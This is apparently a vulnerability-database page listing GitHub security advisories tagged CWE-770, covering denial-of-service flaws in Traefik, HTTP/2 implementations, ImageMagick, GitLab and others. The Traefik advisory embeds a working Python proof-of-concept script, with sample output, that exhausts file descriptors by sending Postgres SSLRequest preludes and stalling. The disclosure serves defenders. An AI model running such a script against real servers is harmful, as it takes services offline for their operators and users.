CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3023 vulnerabilities reference this CWE, most recent first.
GHSA-89C6-8X2J-H6XJ
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39An issue was discovered in Open Design Alliance Drawings SDK before 2021.12. A memory allocation with excessive size vulnerability exists when reading malformed DGN files, which allows attackers to cause a crash, potentially enabling denial of service (crash, exit, or restart).
{
"affected": [],
"aliases": [
"CVE-2021-25173"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-18T08:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Open Design Alliance Drawings SDK before 2021.12. A memory allocation with excessive size vulnerability exists when reading malformed DGN files, which allows attackers to cause a crash, potentially enabling denial of service (crash, exit, or restart).",
"id": "GHSA-89c6-8x2j-h6xj",
"modified": "2022-05-24T17:39:24Z",
"published": "2022-05-24T17:39:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25173"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-155599.pdf"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-663999.pdf"
},
{
"type": "WEB",
"url": "https://www.opendesign.com/security-advisories"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-225"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-89FC-749H-W2FJ
Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2025-01-14 21:31Some HTTP/2 implementations are vulnerable to window size manipulation and stream prioritization manipulation, potentially leading to a denial of service. The attacker requests a large amount of data from a specified resource over multiple streams. They manipulate window size and stream priority to force the server to queue the data in 1-byte chunks. Depending on how efficiently this data is queued, this can consume excess CPU, memory, or both.
{
"affected": [],
"aliases": [
"CVE-2019-9511"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-13T21:15:00Z",
"severity": "HIGH"
},
"details": "Some HTTP/2 implementations are vulnerable to window size manipulation and stream prioritization manipulation, potentially leading to a denial of service. The attacker requests a large amount of data from a specified resource over multiple streams. They manipulate window size and stream priority to force the server to queue the data in 1-byte chunks. Depending on how efficiently this data is queued, this can consume excess CPU, memory, or both.",
"id": "GHSA-89fc-749h-w2fj",
"modified": "2025-01-14T21:31:39Z",
"published": "2022-05-24T16:53:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9511"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2692"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TAZZEVTCN2B4WT6AIBJ7XGYJMBTORJU5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XHTKU7YQ5EEP2XNSAV4M4VJ7QCBOJMOD"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BP556LEG3WENHZI5TAQ6ZEBFTJB4E2IS"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JUBYAF6ED3O4XCHQ5C2HYENJLXYXZC4M"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LZLUYPYY3RX4ZJDWZRJIKSULYRJ4PXW7"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/POPAEC4FWL4UU4LDEGPY5NPALU24FFQD"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TAZZEVTCN2B4WT6AIBJ7XGYJMBTORJU5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XHTKU7YQ5EEP2XNSAV4M4VJ7QCBOJMOD"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Aug/40"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Sep/1"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190823-0002"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190823-0005"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K02591030"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K02591030?utm_source=f5support\u0026amp%3Butm_medium=RSS"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K02591030?utm_source=f5support\u0026amp;utm_medium=RSS"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4099-1"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4505"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4511"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2020/dsa-4669"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
},
{
"type": "WEB",
"url": "https://www.synology.com/security/advisory/Synology_SA_19_33"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2745"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2746"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2775"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2799"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2925"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2939"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2949"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2955"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2966"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3041"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3932"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3933"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3935"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:4018"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:4019"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:4020"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:4021"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md"
},
{
"type": "WEB",
"url": "https://kb.cert.org/vuls/id/605641"
},
{
"type": "WEB",
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10296"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BP556LEG3WENHZI5TAQ6ZEBFTJB4E2IS"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JUBYAF6ED3O4XCHQ5C2HYENJLXYXZC4M"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LZLUYPYY3RX4ZJDWZRJIKSULYRJ4PXW7"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/POPAEC4FWL4UU4LDEGPY5NPALU24FFQD"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00031.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00032.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00035.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00003.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00005.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00014.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-89H6-2239-3VW2
Vulnerability from github – Published: 2023-04-25 00:30 – Updated: 2024-04-04 03:40Jerryscript commit 1a2c047 was discovered to contain a segmentation violation via the component build/bin/jerry.
{
"affected": [],
"aliases": [
"CVE-2023-30408"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-24T22:15:09Z",
"severity": "MODERATE"
},
"details": "Jerryscript commit 1a2c047 was discovered to contain a segmentation violation via the component build/bin/jerry.",
"id": "GHSA-89h6-2239-3vw2",
"modified": "2024-04-04T03:40:20Z",
"published": "2023-04-25T00:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30408"
},
{
"type": "WEB",
"url": "https://github.com/jerryscript-project/jerryscript/issues/5057"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-89JQ-V4MX-WP6F
Vulnerability from github – Published: 2022-05-13 01:21 – Updated: 2022-05-13 01:21An issue was discovered in PoDoFo 0.9.6. The PdfPagesTreeCache class in doc/PdfPagesTreeCache.cpp has an attempted excessive memory allocation because nInitialSize is not validated.
{
"affected": [],
"aliases": [
"CVE-2019-10723"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-03T18:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in PoDoFo 0.9.6. The PdfPagesTreeCache class in doc/PdfPagesTreeCache.cpp has an attempted excessive memory allocation because nInitialSize is not validated.",
"id": "GHSA-89jq-v4mx-wp6f",
"modified": "2022-05-13T01:21:46Z",
"published": "2022-05-13T01:21:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10723"
},
{
"type": "WEB",
"url": "https://sourceforge.net/p/podofo/tickets/46"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-89P3-4642-CR2W
Vulnerability from github – Published: 2026-02-12 15:54 – Updated: 2026-07-09 21:07Impact
There is a potential vulnerability in Traefik managing STARTTLS requests.
An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.8
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ### Summary A remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service. This triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router). ### Details Traefik applies per-connection deadlines based on `entryPoints..transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections). However, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines: - detect Postgres SSLRequest (8-byte signature), - call `conn.SetDeadline(time.Time{})` (clears all deadlines), - then enter the Postgres STARTTLS handler (`servePostgres`). The Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore: 1. connect to any internet-exposed TCP entrypoint, 2. send the Postgres SSLRequest (SSL negotiation request), 3. receive Traefik’s single-byte response (`S`), 4. stop sending any further bytes. Each such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits. _Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path. Tested versions: - `v3.6.7` - `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` ### PoC Prerequisites: - Linux host - Python 3 - A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script’s `TRAEFIK_BIN` constant (edit if needed). Execute the script below: Script (Click to expand)#!/usr/bin/env python3
from __future__ import annotations
import os
import socket
import subprocess
import tempfile
import time
from typing import Final
# Hardcode the Traefik binary path. Edit as needed.
TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik"
HOST: Final[str] = "127.0.0.1"
PORT: Final[int] = 18080
STARTUP_SLEEP_SECS: Final[float] = 2.0
READ_TIMEOUT_SECS: Final[float] = 2.0
SLEEP_SECS: Final[float] = 3.5
N_CONNS: Final[int] = 300
POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])
def fd_count(pid: int) -> int:
return len(os.listdir(f"/proc/{pid}/fd"))
def open_idle_conns(n: int) -> list[socket.socket]:
conns: list[socket.socket] = []
for _ in range(n):
conns.append(socket.create_connection((HOST, PORT)))
return conns
def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]:
conns: list[socket.socket] = []
for _ in range(n):
s = socket.create_connection((HOST, PORT))
s.settimeout(1.0)
s.sendall(POSTGRES_SSLREQUEST)
try:
_ = s.recv(1) # typically b"S"
except socket.timeout:
pass
conns.append(s)
return conns
def close_all(conns: list[socket.socket]) -> None:
for s in conns:
try:
s.close()
except OSError:
pass
def main() -> None:
with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td:
dyn = os.path.join(td, "dynamic.yml")
with open(dyn, "w", encoding="utf-8") as f:
f.write(
f"""\
http:
routers:
r:
entryPoints: [web]
rule: "PathPrefix(`/`)"
service: s
services:
s:
loadBalancer:
servers:
- url: "http://{HOST}:9"
"""
)
proc = subprocess.Popen(
[
TRAEFIK_BIN,
"--log.level=ERROR",
f"--entryPoints.web.address=:{PORT}",
f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s",
f"--providers.file.filename={dyn}",
"--providers.file.watch=false",
],
stdout=subprocess.DEVNULL,
stderr=subprocess.STDOUT,
)
try:
time.sleep(STARTUP_SLEEP_SECS)
pid = proc.pid
if pid is None:
raise RuntimeError("Traefik PID is None")
ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip()
print(ver)
print(f"Traefik={TRAEFIK_BIN}")
print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s")
base = fd_count(pid)
print(f"traefik_pid={pid} fd_base={base}")
idle = open_idle_conns(N_CONNS)
fd_after_open_idle = fd_count(pid)
print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}")
time.sleep(SLEEP_SECS)
fd_after_sleep_idle = fd_count(pid)
print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}")
close_all(idle)
pg = open_postgres_sslrequest_conns(N_CONNS)
fd_after_open_pg = fd_count(pid)
print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}")
time.sleep(SLEEP_SECS)
fd_after_sleep_pg = fd_count(pid)
print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}")
close_all(pg)
if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2):
print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.")
else:
print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.")
finally:
proc.terminate()
try:
proc.wait(timeout=3.0)
except subprocess.TimeoutExpired:
proc.kill()
proc.wait(timeout=3.0)
if __name__ == "__main__":
main()
Version: 3.6.7
Codename: ramequin
Go version: go1.24.11
Built: 2026-01-14T14:04:03Z
OS/Arch: linux/amd64
Traefik=/usr/local/sbin/traefik
Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s
traefik_pid=46204 fd_base=6
baseline_opened=300 fd_after_open=128 delta=122
baseline_after_sleep fd=6 delta_from_base=0
candidate_opened=300 fd_after_open=306 delta=300
candidate_after_sleep fd=306 delta_from_base=300
VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25949"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-12T15:54:11Z",
"nvd_published_at": "2026-02-12T20:16:11Z",
"severity": "HIGH"
},
"details": "## Impact\n\nThere is a potential vulnerability in Traefik managing STARTTLS requests. \n\nAn unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. \n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.8\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.\n\nThis triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router).\n\n### Details\nTraefik applies per-connection deadlines based on `entryPoints.\u003cname\u003e.transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections).\n\nHowever, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:\n\n- detect Postgres SSLRequest (8-byte signature),\n- call `conn.SetDeadline(time.Time{})` (clears all deadlines),\n- then enter the Postgres STARTTLS handler (`servePostgres`).\n\nThe Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore:\n\n1. connect to any internet-exposed TCP entrypoint,\n2. send the Postgres SSLRequest (SSL negotiation request),\n3. receive Traefik\u2019s single-byte response (`S`),\n4. stop sending any further bytes.\n\n\nEach such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.\n\n_Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.\n\nTested versions:\n- `v3.6.7`\n- `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` \n\n### PoC\nPrerequisites:\n- Linux host\n- Python 3\n- A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script\u2019s `TRAEFIK_BIN` constant (edit if needed).\n\nExecute the script below:\n\u003cdetails\u003e\n\u003csummary\u003eScript (Click to expand)\u003c/summary\u003e\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport os\nimport socket\nimport subprocess\nimport tempfile\nimport time\nfrom typing import Final\n\n# Hardcode the Traefik binary path. Edit as needed.\nTRAEFIK_BIN: Final[str] = \"/usr/local/sbin/traefik\"\n\nHOST: Final[str] = \"127.0.0.1\"\nPORT: Final[int] = 18080\n\nSTARTUP_SLEEP_SECS: Final[float] = 2.0\nREAD_TIMEOUT_SECS: Final[float] = 2.0\nSLEEP_SECS: Final[float] = 3.5\nN_CONNS: Final[int] = 300\n\nPOSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])\n\n\ndef fd_count(pid: int) -\u003e int:\n return len(os.listdir(f\"/proc/{pid}/fd\"))\n\n\ndef open_idle_conns(n: int) -\u003e list[socket.socket]:\n conns: list[socket.socket] = []\n for _ in range(n):\n conns.append(socket.create_connection((HOST, PORT)))\n return conns\n\n\ndef open_postgres_sslrequest_conns(n: int) -\u003e list[socket.socket]:\n conns: list[socket.socket] = []\n for _ in range(n):\n s = socket.create_connection((HOST, PORT))\n s.settimeout(1.0)\n s.sendall(POSTGRES_SSLREQUEST)\n try:\n _ = s.recv(1) # typically b\"S\"\n except socket.timeout:\n pass\n conns.append(s)\n return conns\n\n\ndef close_all(conns: list[socket.socket]) -\u003e None:\n for s in conns:\n try:\n s.close()\n except OSError:\n pass\n\n\ndef main() -\u003e None:\n with tempfile.TemporaryDirectory(prefix=\"vh-traefik-f005-\") as td:\n dyn = os.path.join(td, \"dynamic.yml\")\n with open(dyn, \"w\", encoding=\"utf-8\") as f:\n f.write(\n f\"\"\"\\\nhttp:\n routers:\n r:\n entryPoints: [web]\n rule: \"PathPrefix(`/`)\"\n service: s\n services:\n s:\n loadBalancer:\n servers:\n - url: \"http://{HOST}:9\"\n\"\"\"\n )\n\n proc = subprocess.Popen(\n [\n TRAEFIK_BIN,\n \"--log.level=ERROR\",\n f\"--entryPoints.web.address=:{PORT}\",\n f\"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s\",\n f\"--providers.file.filename={dyn}\",\n \"--providers.file.watch=false\",\n ],\n stdout=subprocess.DEVNULL,\n stderr=subprocess.STDOUT,\n )\n try:\n time.sleep(STARTUP_SLEEP_SECS)\n\n pid = proc.pid\n if pid is None:\n raise RuntimeError(\"Traefik PID is None\")\n\n ver = subprocess.check_output([TRAEFIK_BIN, \"version\"], text=True).strip()\n print(ver)\n print(f\"Traefik={TRAEFIK_BIN}\")\n print(f\"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s\")\n\n base = fd_count(pid)\n print(f\"traefik_pid={pid} fd_base={base}\")\n\n idle = open_idle_conns(N_CONNS)\n fd_after_open_idle = fd_count(pid)\n print(f\"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}\")\n time.sleep(SLEEP_SECS)\n fd_after_sleep_idle = fd_count(pid)\n print(f\"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}\")\n close_all(idle)\n\n pg = open_postgres_sslrequest_conns(N_CONNS)\n fd_after_open_pg = fd_count(pid)\n print(f\"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}\")\n time.sleep(SLEEP_SECS)\n fd_after_sleep_pg = fd_count(pid)\n print(f\"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}\")\n close_all(pg)\n\n if (fd_after_sleep_idle - base) \u003c= 5 and (fd_after_sleep_pg - base) \u003e= (N_CONNS // 2):\n print(\"VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.\")\n else:\n print(\"INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.\")\n finally:\n proc.terminate()\n try:\n proc.wait(timeout=3.0)\n except subprocess.TimeoutExpired:\n proc.kill()\n proc.wait(timeout=3.0)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\u003c/details\u003e\n\n\n\u003cdetails\u003e\n\u003csummary\u003eExpected output (Click to expand)\u003c/summary\u003e\n\n```bash\nVersion: 3.6.7\nCodename: ramequin\nGo version: go1.24.11\nBuilt: 2026-01-14T14:04:03Z\nOS/Arch: linux/amd64\nTraefik=/usr/local/sbin/traefik\nHost=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s\ntraefik_pid=46204 fd_base=6\nbaseline_opened=300 fd_after_open=128 delta=122\nbaseline_after_sleep fd=6 delta_from_base=0\ncandidate_opened=300 fd_after_open=306 delta=300\ncandidate_after_sleep fd=306 delta_from_base=300\nVULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.\n```\n\u003c/details\u003e\n\n### Impact\nDenial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including \"web\" HTTP entrypoints) with a `readTimeout` is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.\n\n\u003c/details\u003e",
"id": "GHSA-89p3-4642-cr2w",
"modified": "2026-07-09T21:07:28Z",
"published": "2026-02-12T15:54:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-89p3-4642-cr2w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25949"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/31e566e9f1d7888ccb6fbc18bfed427203c35678"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:6192"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-25949"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2439522"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.8"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25949.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Traefik: TCP readTimeout bypass via STARTTLS on Postgres"
}
GHSA-89PC-J5R3-39QW
Vulnerability from github – Published: 2022-05-13 01:17 – Updated: 2025-04-20 03:44The WritePixelCachePixels function in ImageMagick 7.0.6-6 allows remote attackers to cause a denial of service (CPU consumption) via a crafted file.
{
"affected": [],
"aliases": [
"CVE-2017-12875"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-29T15:29:00Z",
"severity": "HIGH"
},
"details": "The WritePixelCachePixels function in ImageMagick 7.0.6-6 allows remote attackers to cause a denial of service (CPU consumption) via a crafted file.",
"id": "GHSA-89pc-j5r3-39qw",
"modified": "2025-04-20T03:44:03Z",
"published": "2022-05-13T01:17:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12875"
},
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/issues/659"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/05/msg00015.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00007.html"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3681-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-89X8-FVQ4-X5W3
Vulnerability from github – Published: 2024-02-08 00:32 – Updated: 2024-02-08 00:32An issue has been discovered in GitLab EE affecting all versions from 13.3.0 prior to 16.6.7, 16.7 prior to 16.7.5, and 16.8 prior to 16.8.2 which allows an attacker to do a resource exhaustion using GraphQL vulnerabilitiesCountByDay
{
"affected": [],
"aliases": [
"CVE-2024-1066"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-07T22:15:09Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab EE affecting all versions from 13.3.0 prior to 16.6.7, 16.7 prior to 16.7.5, and 16.8 prior to 16.8.2 which allows an attacker to do a resource exhaustion using GraphQL `vulnerabilitiesCountByDay`",
"id": "GHSA-89x8-fvq4-x5w3",
"modified": "2024-02-08T00:32:19Z",
"published": "2024-02-08T00:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1066"
},
{
"type": "WEB",
